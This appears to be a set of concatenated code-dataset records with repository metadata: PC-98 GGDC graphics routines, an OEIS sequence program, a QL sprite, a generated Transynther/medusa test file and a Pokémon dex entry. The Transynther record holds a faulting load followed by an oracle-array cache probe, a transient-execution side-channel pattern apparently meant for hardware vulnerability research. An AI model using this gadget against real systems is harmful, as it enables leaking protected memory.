_ggdc_drawing_line,0 pushad ; save all reg mov esi,[ggdc_EAD] ; esi = ggdc start address mov ebp,[ggdc_VRAM] ; ebp = vram start address mov ebx,[ggdc_DIR] ; ebx = direction next mov cx ,[ggdc_PTN] ; cx = line pattern mov dx ,[ggdc_D] ; dx = vectw param D draw_line_loop: movzx eax,cx ; line pattern set and eax,1 ; select logic ror cx,1 ; next pattern mov eax,draw_one_pixel[eax*4] ; address set call eax ; drawing 1 dot test dx, 2000h ; D >= 0 ? check bit 13 jz short draw_line_pos ; Yes jump! add dx,[ggdc_D1] ; D = D + D1 movzx eax,bx ; ax = DIR test al,1 ; DIR LSB = 0 ? jnz short draw_line_inc ; No! DIR = DIR + 1 jmp short draw_line_dir ; Yes DIR = DIR draw_line_pos: add dx,[ggdc_D2] ; D = D + D2 movzx eax,bx ; ax = DIR test al,1 ; DIR LSB = 0 ? jnz short draw_line_dir ; No! DIR = DIR draw_line_inc: inc ax ; DIR = DIR + 1 and ax,7 ; bound dir 0-->7 draw_line_dir: mov eax,ggdc_dir_func_pixel[eax*4] ; select dir function call eax ; next pixel position dec word ptr[ggdc_DC] ; loop-1 jnz draw_line_loop ; 0 ?? next pixel call save_ead_dad ; last position save popad ; restore all reg stdRET _ggdc_drawing_line stdENDP _ggdc_drawing_line ;::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: ;:::::::::::::::::: NEC98 GGDC Graphic Draw ARC ::::::::::::::::: ;::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: cPublicProc _ggdc_drawing_arc,0 pushad ; save all reg mov esi,[ggdc_EAD] ; esi = ggdc start address mov ebp,[ggdc_VRAM] ; ebp = vram start address mov ebx,[ggdc_DIR] ; bx = direction next mov cx ,[ggdc_PTN] ; cx = mask pattern mov dx ,[ggdc_D] ; dx = vectw param D inc word ptr [ggdc_DM] ; DM = DM + 1 draw_arc_loop: dec word ptr [ggdc_DM] ; DM = DM - 1 jnz short @f ; DM = 0 ? No! jump inc word ptr [ggdc_DM] movzx eax,cx ; ax is PTN and ax,1 ; pattern set mov eax,draw_one_pixel[eax*4] ; address set call eax ; drawing 1 dot @@: ror cx,1 ; next pattern add dx,[ggdc_D1] ; D = D + D1 test dx,2000h ; D >= 0 ? jz short draw_arc_pos ; Yes! jump add dx,[ggdc_D2] ; D = D + D2 sub word ptr [ggdc_D2],2 ; D2 = D2 - 2 mov eax,ebx ; ax = DIR test al,1 ; DIR LSB = 0 ? jz short draw_arc_inc ; yes ! jmp short draw_arc_dir ; no ! draw_arc_pos: mov eax,ebx ; ax = DIR test al,1 ; DIR LSB = 0 ? jz short draw_arc_dir ; Yes! draw_arc_inc: inc ax ; DIR = DIR + 1 and ax,7 ; bound 7 draw_arc_dir: sub word ptr[ggdc_D1],2 ; D1 = D1 - 2 mov eax,ggdc_dir_func_pixel[eax*4] ; select dir function call eax ; next position dec [ggdc_DC] ; loop - 1 jnz draw_arc_loop ; 0 ?? next pixel call save_ead_dad ; last position save popad ; restore all reg stdRET _ggdc_drawing_arc stdENDP _ggdc_drawing_arc ;::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: ;:::::::::::::::::: NEC98 GGDC Graphic Draw RECT ::::::::::::::::: ;::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: cPublicProc _ggdc_drawing_rect,0 pushad mov esi,[ggdc_EAD] ; esi = ggdc start address mov ebp,[ggdc_VRAM] ; ebp = vram start address mov ebx,[ggdc_DIR] ; bx = direction next mov cx ,[ggdc_PTN] ; cx = mask pattern mov dx ,[ggdc_D] ; dx = vectw param D draw_rect_loop: movzx eax,cx ; ax is PTN and eax,1 ; set pattern mov eax,draw_one_pixel[eax*4] ; address set call eax ; drawing 1 dot ror cx,1 ; next pattern movzx ebx,bx ; ax = DIR mov eax,ggdc_dir_func_pixel[ebx*4] ; select dir function call eax ; next position add dx,[ggdc_D1] ; D = D+1 test dx,3fffh ; D=0 ? jnz draw_rect_loop ; no! next test word ptr[ggdc_DC],1 ; DC LSB = 0 jnz short @f ; No ! jump add dx,[ggdc_D2] ; D = D + D2 jmp short draw_rect_dec ; @@: add dx,[ggdc_DM] ; draw_rect_dec: add bx,2 ; DIR = DIR + 2 and bx,7 ; bound 7 dec [ggdc_DC] ; DC = DC - 1 jnz draw_rect_loop ; if DC!=0 loop call save_ead_dad ; last position save popad ; restore all reg stdRET _ggdc_drawing_rect stdENDP _ggdc_drawing_rect ;::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: ;:::::::::::::::::: NEC98 GGDC Graphic Draw PIXEL ::::::::::::::::::: ;::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: cPublicProc _ggdc_drawing_pixel pushad mov esi,[ggdc_EAD] ; esi = ggdc start address mov ebp,[ggdc_VRAM] ; ebp = vram start address mov ebx,[ggdc_DIR] ; bx = direction next mov cx ,[ggdc_PTN] ; cx = line pattern movzx eax,cx ; set line pattern and eax, 1 ; pattern ? mov eax,draw_one_pixel[eax*4] ; select function call eax ; draw pixel mov eax,ggdc_dir_func_pixel[ebx*4] ; select dir function call eax ; next position call save_ead_dad ; last position save popad ; restore all reg stdRET _ggdc_drawing_pixel stdENDP _ggdc_drawing_pixel ;::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: ;:::::::::::::::::: NEC98 GGDC Graphic Draw TEXT ::::::::::::::::::: ;::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: cPublicProc _ggdc_drawing_text,0 pushad mov esi,[ggdc_EAD] ; esi = ggdc start address mov ebp,[ggdc_VRAM] ; ebp = vram start address mov dx, [ggdc_D] ; edx = D mov ax, [ggdc_ZOOM] ; copy zoom mov [ZOOM1],ax ; ZW1 xor ebx,ebx ; TXT start data mov ch,01h ; reset PS text_2nd_dir_loop: mov cl,ggdc_TXT[ebx] ; get TXn inc ebx ; point to next TX and bl,7 ; bound 7 mov ax,[ggdc_ZOOM] ; eax = zoom mov [ZOOM2],ax ; ZW2 = ZW + 1 text_2nd_dir_zoom: ; D times (D2 times) text_1st_dir_loop: mov al,cl ; copy TXn test al,ch ; get PS bit mov eax,0 ; PS bit 1 or 0 ? jz short @f ; 0 : EAX = 0 inc eax ; 1 : EAX = 1 @@: mov eax,draw_one_pixel[eax*4] ; select function call eax ; drawing 1 dot dec word ptr[ZOOM1] ; ZW1 = ZW1 - 1 jnz short text_1st_zoom_skip ; ZW1 = 0 ? No! mov ax,[ggdc_ZOOM] ; ax = ZW + 1 mov [ZOOM1],ax ; ZW1 = ZW + 1 add dx,[ggdc_D1] ; D = D + D1 test dx,3fffh ; D = 0 ? jz short text_1st_dir_loop_exit ; Yes! rol ch, 1 ; ROL(PS) test word ptr[ggdc_DM],1 ; if LSB(DM) jnz short text_1st_zoom_skip ; 1 : ROL(PS) ror ch, 2 ; 0 : ROR(PS) text_1st_zoom_skip: mov eax,[ggdc_DIR] ; get DIR mov eax,ggdc_dir_func_pixel[eax*4] ; select dir function call eax ; calculate next dot address jmp short text_1st_dir_loop ; while D != 0 text_1st_dir_loop_exit: mov eax,[ggdc_DIR] ; get DIR' = DIR inc ax ; DIR' = DIR' + 1 test word ptr[ggdc_SL],1 ; SL bit check ? jnz short @f ; 1 : DIR' = DIR' + 0 inc ax ; 0 : DIR' = DIR' + 1 @@: test word ptr[ggdc_DM],1 ; if LSB(DM) jnz short @f ; 1 : DIR' = DIR' + 0 add ax, 4 ; 0 : DIR' = DIR' + 4 @@: and eax, 7 ; normalize DIR' mov eax,ggdc_dir_func_pixel[eax*4] ; select dir function call eax ; calculate next scanline address add [ggdc_DIR],4 ; DIR = DIR + 4 and [ggdc_DIR],7 ; normalize DIR mov dx,[ggdc_D2] ; dec word ptr[ggdc_DM] ; DM = DM - 1 dec word ptr[ZOOM2] ; ZOOM2 - 1 jnz text_2nd_dir_zoom ; ZOOM2 != 0 dec word ptr[ggdc_DC] ; DC = DC - 1 jnz text_2nd_dir_loop ; DC != 0 call save_ead_dad ; last position save popad ; restore all reg stdRET _ggdc_drawing_text stdENDP _ggdc_drawing_text ;::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: ;:::::::::::::::::: NEC98 GGDC Graphic Draw WRITE ::::::::::::::::::: ;::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: cPublicProc _ggdc_writing,1 push ebp mov ebp,esp pushad mov ebx,[ebp+8] ; output data address mov bx,word ptr[ebx] ; output data mov esi,[ggdc_EAD] ; esi = ggdc start address mov ebp,[ggdc_VRAM] ; ebp = vram start address mov edx,[ggdc_DIR] ; dx = direction test [ggdc_WG],1 ; WG bit on ? jnz short write_text_mode ; 1: TEXT mode ; 0: GRAPH mode write_graph_mode: test bx,1 ; check LSB of output data jz short @f ; mov eax,[write_one_word] ; call eax ; drawing 1 pixel @@: mov eax,ggdc_dir_func_pixel[edx*4] ; select dir function call eax ; calculate next dot address jmp short write_end ; write_text_mode: mov ecx,16 ; change out data @@: rcr bx,1 ; rcl ax,1 ; left bit <-> right bit loop @b ; mov bx,[ggdc_MASKCPU] ; save mask data and ax,bx ; mask & out data mov [ggdc_MASKCPU],ax ; ax = mask data mov eax,[write_one_word] ; call eax ; drawing 1 word mov eax,ggdc_dir_func_word[edx*4] ; select dir function call eax ; calculate next dot address mov [ggdc_MASKCPU],bx ; resrtore dAD/MASK write_end: call save_ead_dad ; last position save popad ; pop ebp ; stdRET _ggdc_writing stdENDP _ggdc_writing ;::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: ;:::::::::::::::::: NEC98 GGDC Graphic Draw READ ::::::::::::::::::: ;::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: cPublicProc _ggdc_reading,1 push ebp mov ebp,esp pushad mov ebx,[ebp+8] ; return data address push ebx ; save it mov esi,[ggdc_EAD] ; esi = ggdc start address mov ebp,[ggdc_VRAM] ; ebp = vram start address mov edx,[ggdc_DIR] ; dx = direction mov edi,esi ; copy ggdc address and edi,0000ffffH ; recalc NEC98 vram address bound mov ax,[ebp+edi*2] ; read data xchg ah,al ; high <-> low mov ecx, 16 @@: rcr ax, 1 ; reverse bits rcl bx, 1 ; left to right loop short @b ; do 16 times mov [ggdc_READ],bx ; save data test [ggdc_WG],1 ; WG check jnz short read_text_mode ; 1: TEXT mode ; 0: GRAPHIC mode read_graph_mode: mov eax,ggdc_dir_func_pixel[edx*4] ; select dir function call eax ; calculate next dot address jmp short read_end read_text_mode: mov eax,ggdc_dir_func_word[edx*4] ; select dir function call eax ; calculate next dot address read_end: mov ax,[ggdc_READ] ; copy back from tmp pop ebx ; data address mov word ptr[ebx],ax ; return call save_ead_dad ; last position save popad pop ebp stdRET _ggdc_reading stdENDP _ggdc_reading ;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::; ;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::; save_ead_dad: mov eax,esi ; Last Ead address and eax,0003FFFFH ; bound GGDC memory area mov [ggdc_read_back_EAD],eax; mov [ggdc_CSRR_1],al ; return data1 shr eax,8 ; mov [ggdc_CSRR_2],al ; return data2 shr eax,8 ; mov [ggdc_CSRR_3],al ; return data3 mov ecx,16 ; mov dx,[ggdc_MASKCPU] ; GGDC mask data @@: rcr dx,1 ; reverse right <-> left rcl ax,1 ; loop short @b ; mov [ggdc_read_back_DAD],ax ; use GDC drawing mov [ggdc_CSRR_4],al ; return data4 mov [ggdc_CSRR_5],ah ; return data5 ret ;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::; ; draw_and ; ; input: ; ; esi = ggdc address ; ; ebp = virtual vram start address ; ; destory: ; ; eax,edi,flag ; ;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::; draw_and: public draw_and mov ax,[ggdc_MASKCPU] ; set xchg ah,al ; change High <-> Low not ax ; not mov edi,esi ; copy ggdc address and edi,0000ffffH ; recalc NEC98 vram address bound and [ebp+edi*2],ax ; draw pixel ret ; return ;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::; ; draw_or ; ; input: ; ; esi = ggdc address ; ; ebp = virtual vram start address ; ; destory: ; ; eax,edi,flag ; ;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::; draw_or: public draw_or mov ax,[ggdc_MASKCPU] ; set xchg ah,al ; change High <-> Low mov edi,esi ; copy ggdc address and edi,0000ffffH ; recalc NEC98 vram address bound or [ebp+edi*2],ax ; draw pixel ret ; return ;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::; ; draw_xor ; ; input: ; ; esi = ggdc address ; ; ebp = virtual vram start address ; ; destory: ; ; eax,edi,flag ; ;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::; draw_xor: public draw_xor mov ax,[ggdc_MASKCPU] ; set xchg ah,al ; change High <-> Low mov edi,esi ; copy ggdc address and edi,0000ffffH ; recalc NEC98 vram address bound xor [ebp+edi*2],ax ; draw pixel ret ; return ;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::; ; draw_mov ; ; input: ; ; esi = ggdc address ; ; ebp = virtual vram start address ; ; destory: ; ; eax,edi,flag ; ;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::; draw_mov: public draw_mov mov ax,[ggdc_MASKCPU] ; set xchg ah,al ; change High <-> Low mov edi,esi ; copy ggdc address and edi,0000ffffH ; recalc NEC98 vram address bound mov [ebp+edi*2],ax ; draw pixel ret ; return ;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::; ; draw_mov ; ; input : none ; ; destory: none ; ;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::; draw_nop: public draw_nop ret ; do nothing ;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::; ; ggdc_dir_func_pixel ; ; input : none ; ; update : esi ; ;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::; pixel_dir_0: public pixel_dir_0 add esi,[ggdc_PITCH] ; move down ret ; return ;-----------------------------------------------------------------------; pixel_dir_1: public pixel_dir_1 add esi,[ggdc_PITCH] ; move down ror word ptr [ggdc_MASKCPU],1 ; move right adc esi,0 ; over word? ret ; return ;-----------------------------------------------------------------------; pixel_dir_2: public pixel_dir_2 ror word ptr [ggdc_MASKCPU],1 ; move right adc esi,0 ; over word? ret ; return ;-----------------------------------------------------------------------; pixel_dir_3: public pixel_dir_3 sub esi,[ggdc_PITCH] ; move up ror word ptr[ggdc_MASKCPU],1 ; move right adc esi,0 ; over word? ret ; return ;-----------------------------------------------------------------------; pixel_dir_4: public pixel_dir_4 sub esi,[ggdc_PITCH] ; move up ret ; return ;-----------------------------------------------------------------------; pixel_dir_5: public pixel_dir_5 sub esi,[ggdc_PITCH] ; move up rol word ptr [ggdc_MASKCPU],1 ; move left sbb esi,0 ; over word? ret ; return ;-----------------------------------------------------------------------; pixel_dir_6: public pixel_dir_6 rol word ptr [ggdc_MASKCPU],1 ; move left sbb esi,0 ; over word? ret ; return ;-----------------------------------------------------------------------; pixel_dir_7: public pixel_dir_7 add esi,[ggdc_PITCH] ; move down rol word ptr [ggdc_MASKCPU],1 ; move left sbb esi,0 ; over word? ret ; return ;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::; ; ggdc_dir_func_short ; ; input : none ; ; destory: esi , dx , flag ; ;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::; word_dir_0: public word_dir_0 add esi,[ggdc_PITCH] ; move down ret ; return ;-----------------------------------------------------------------------; word_dir_1: public word_dir_1 add esi,[ggdc_PITCH] ; move down inc esi ; move right ret ; return ;-----------------------------------------------------------------------; word_dir_2: public word_dir_2 inc esi ; move right ret ; return ;-----------------------------------------------------------------------; word_dir_3: public word_dir_3 sub esi,[ggdc_PITCH] ; move up inc esi ; move right ret ; return ;-----------------------------------------------------------------------; word_dir_4: public word_dir_4 sub esi,[ggdc_PITCH] ; move up ret ; return ;-----------------------------------------------------------------------; word_dir_5: public word_dir_5 sub esi,[ggdc_PITCH] ; move up dec esi ; move left ret ; return ;-----------------------------------------------------------------------; word_dir_6: public word_dir_6 dec esi ; move left ret ; return ;-----------------------------------------------------------------------; word_dir_7: public word_dir_7 add esi,[ggdc_PITCH] ; move down dec esi ; move left ret ; return _TEXT ENDS END ;endif
TheStack
b64a7f6406da112849788755c6c7084d1dd0a177
Assemblycode:Assembly
{"size": 429, "ext": "asm", "max_stars_repo_path": "programs/oeis/200/A200978.asm", "max_stars_repo_name": "neoneye/loda", "max_stars_repo_stars_event_min_datetime": "2018-02-06T19:19:31.000Z", "max_stars_repo_stars_event_max_datetime": "2022-01-17T21:53:31.000Z", "max_issues_repo_path": "programs/oeis/200/A200978.asm", "max_issues_repo_name": "neoneye/loda", "max_issues_repo_issues_event_min_datetime": "2021-02-22T19:00:34.000Z", "max_issues_repo_issues_event_max_datetime": "2021-08-28T10:47:47.000Z", "max_forks_repo_path": "programs/oeis/200/A200978.asm", "max_forks_repo_name": "neoneye/loda", "max_forks_repo_forks_event_min_datetime": "2021-02-24T21:14:16.000Z", "max_forks_repo_forks_event_max_datetime": "2021-08-09T19:48:05.000Z"}
{"max_stars_count": 22, "max_issues_count": 41, "max_forks_count": 5, "avg_line_length": 42.9, "max_line_length": 210, "alphanum_fraction": 0.7575757576}
; A200978: Number of ways to arrange n books on 3 consecutive shelves leaving none of the shelves empty. ; 6,72,720,7200,75600,846720,10160640,130636800,1796256000,26345088000,410983372800,6799906713600,118998367488000,2196892938240000,42682491371520000,870722823979008000,18611700362551296000,416026243398205440000 mov $2,$0 add $0,2 seq $0,180119 ; a(n) = (n+2)! * Sum_{k = 1..n} 1/((k+1)*(k+2)). mov $3,$2 add $3,1 mul $0,$3
TheStack
ed3c416be2db33a231c5454cb651eb6362ca5a1f
Assemblycode:Assembly
{"size": 1227, "ext": "asm", "max_stars_repo_path": "src/util/icon/asm_cellcopy.asm", "max_stars_repo_name": "olifink/qspread", "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "src/util/icon/asm_cellcopy.asm", "max_issues_repo_name": "olifink/qspread", "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "src/util/icon/asm_cellcopy.asm", "max_forks_repo_name": "olifink/qspread", "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null}
{"max_stars_count": null, "max_issues_count": null, "max_forks_count": null, "avg_line_length": 17.5285714286, "max_line_length": 41, "alphanum_fraction": 0.6079869601}
* Sprite cellcopy * * Mode 4 * +|-------------------+ * -wwwwwwwwwww - * |wrrrrrrrrrw | * |wrrrrrrrrrw | * |wrrrrrrrrrw | * |wrrrrwwrrrw | * |wrrrwaawwrw | * |wrrrrwwaaww www | * |wrrrrrrwwaawwaawwwww| * |wwwwwwwwwwwaaaawrrrw| * | waaaaaawrrrw| * | wwwwwwwwrrrw| * | wrrrrrrrrrw| * | wrrrrrrrrrw| * | wrrrrrrrrrw| * | wrrrrrrrrrw| * | wwwwwwwwwww| * +|-------------------+ * section sprite xdef mes_cellcopy xref mes_zero mes_cellcopy dc.w $0100,$0000 dc.w 20,16,0,0 dc.l mcs_cellcopy-* dc.l mes_zero-* dc.l sp_cellcopy-* mcs_cellcopy dc.w $FFFF,$E0E0 dc.w $0000,$0000 dc.w $80FF,$20E0 dc.w $0000,$0000 dc.w $80FF,$20E0 dc.w $0000,$0000 dc.w $80FF,$20E0 dc.w $0000,$0000 dc.w $86FF,$20E0 dc.w $0000,$0000 dc.w $89F9,$A0E0 dc.w $0000,$0000 dc.w $86FE,$6767 dc.w $0000,$0000 dc.w $81FF,$9999 dc.w $F0F0,$0000 dc.w $FFFF,$E1E1 dc.w $10F0,$0000 dc.w $0000,$8181 dc.w $10F0,$0000 dc.w $0000,$FFFF dc.w $10F0,$0000 dc.w $0000,$407F dc.w $10F0,$0000 dc.w $0000,$407F dc.w $10F0,$0000 dc.w $0000,$407F dc.w $10F0,$0000 dc.w $0000,$407F dc.w $10F0,$0000 dc.w $0000,$7F7F dc.w $F0F0,$0000 * sp_cellcopy incbin 'win1_util_icon_asm_cellcopy_spr' end
TheStack
12b48ec8e86c93cb54b39c8cbc80209a1432332f
Assemblycode:Assembly
{"size": 5285, "ext": "asm", "max_stars_repo_path": "Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0xca_notsx.log_21829_1172.asm", "max_stars_repo_name": "ljhsiun2/medusa", "max_stars_repo_stars_event_min_datetime": "2020-08-13T19:41:58.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-30T12:22:51.000Z", "max_issues_repo_path": "Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0xca_notsx.log_21829_1172.asm", "max_issues_repo_name": "ljhsiun2/medusa", "max_issues_repo_issues_event_min_datetime": "2021-04-29T06:29:35.000Z", "max_issues_repo_issues_event_max_datetime": "2021-05-13T21:02:30.000Z", "max_forks_repo_path": "Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0xca_notsx.log_21829_1172.asm", "max_forks_repo_name": "ljhsiun2/medusa", "max_forks_repo_forks_event_min_datetime": "2020-07-14T17:07:07.000Z", "max_forks_repo_forks_event_max_datetime": "2022-03-21T01:12:22.000Z"}
{"max_stars_count": 9, "max_issues_count": 1, "max_forks_count": 3, "avg_line_length": 40.6538461538, "max_line_length": 2999, "alphanum_fraction": 0.6561967833}
.global s_prepare_buffers s_prepare_buffers: push %r11 push %r13 push %r8 push %rbx push %rcx lea addresses_D_ht+0x1927a, %r8 nop xor $31662, %rcx movl $0x61626364, (%r8) nop mfence lea addresses_normal_ht+0x16c03, %rbx nop nop nop nop nop xor %r13, %r13 movw $0x6162, (%rbx) sub %r13, %r13 pop %rcx pop %rbx pop %r8 pop %r13 pop %r11 ret .global s_faulty_load s_faulty_load: push %r11 push %r12 push %r13 push %rax push %rbx push %rcx push %rdi push %rsi // Store lea addresses_A+0x15daa, %rsi nop dec %r11 mov $0x5152535455565758, %rbx movq %rbx, (%rsi) nop nop nop inc %r11 // Store lea addresses_WC+0x81ba, %rcx nop nop nop nop nop inc %r12 movb $0x51, (%rcx) nop cmp $2359, %r11 // Store lea addresses_A+0xcc1a, %rax nop nop nop nop add %r12, %r12 movw $0x5152, (%rax) nop nop nop nop nop cmp %rax, %rax // REPMOV lea addresses_D+0x473a, %rsi lea addresses_A+0xc7fa, %rdi nop nop nop nop and %rax, %rax mov $31, %rcx rep movsl nop nop sub $58214, %r11 // Faulty Load lea addresses_UC+0x14d3a, %r12 nop nop nop and $6739, %rbx mov (%r12), %r13w lea oracles, %rax and $0xff, %r13 shlq $12, %r13 mov (%rax,%r13,1), %r13 pop %rsi pop %rdi pop %rcx pop %rbx pop %rax pop %r13 pop %r12 pop %r11 ret /* <gen_faulty_load> [REF] {'src': {'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 0, 'same': True, 'type': 'addresses_UC'}, 'OP': 'LOAD'} {'dst': {'NT': True, 'AVXalign': False, 'size': 8, 'congruent': 4, 'same': False, 'type': 'addresses_A'}, 'OP': 'STOR'} {'dst': {'NT': True, 'AVXalign': False, 'size': 1, 'congruent': 5, 'same': False, 'type': 'addresses_WC'}, 'OP': 'STOR'} {'dst': {'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 4, 'same': False, 'type': 'addresses_A'}, 'OP': 'STOR'} {'src': {'congruent': 6, 'same': False, 'type': 'addresses_D'}, 'dst': {'congruent': 6, 'same': False, 'type': 'addresses_A'}, 'OP': 'REPM'} [Faulty Load] {'src': {'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 0, 'same': True, 'type': 'addresses_UC'}, 'OP': 'LOAD'} <gen_prepare_buffer> {'dst': {'NT': False, 'AVXalign': True, 'size': 4, 'congruent': 3, 'same': False, 'type': 'addresses_D_ht'}, 'OP': 'STOR'} {'dst': {'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 0, 'same': False, 'type': 'addresses_normal_ht'}, 'OP': 'STOR'} {'37': 21829} 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 */
TheStack
6e7e510a7e09348b71bae5abf6eff7af8ddb72cd
Assemblycode:Assembly
{"size": 213, "ext": "asm", "max_stars_repo_path": "data/pokemon/dex_entries/misdreavus.asm", "max_stars_repo_name": "Dev727/ancientplatinum", "max_stars_repo_stars_event_min_datetime": "2019-11-08T07:19:00.000Z", "max_stars_repo_stars_event_max_datetime": "2021-12-20T10:17:54.000Z", "max_issues_repo_path": "data/pokemon/dex_entries/misdreavus.asm", "max_issues_repo_name": "Dev727/ancientplatinum", "max_issues_repo_issues_event_min_datetime": "2020-01-11T17:00:40.000Z", "max_issues_repo_issues_event_max_datetime": "2021-09-14T01:27:38.000Z", "max_forks_repo_path": "data/pokemon/dex_entries/misdreavus.asm", "max_forks_repo_name": "Dev727/ancientplatinum", "max_forks_repo_forks_event_min_datetime": "2020-05-28T17:31:38.000Z", "max_forks_repo_forks_event_max_datetime": "2022-03-07T20:49:35.000Z"}
{"max_stars_count": 28, "max_issues_count": 13, "max_forks_count": 22, "avg_line_length": 19.3636363636, "max_line_length": 29, "alphanum_fraction": 0.661971831}
db "SCREECH@" ; species name dw 204, 20 ; height, weight db "It loves to watch" next "people it's scar-" next "ed. It frightens" page "them by screaming" next "loudly or appear-" next "ing suddenly.@"
TheStack
64fe33b30e0f9432a57f7113cd080b735f1c1a13
Assemblycode:Assembly
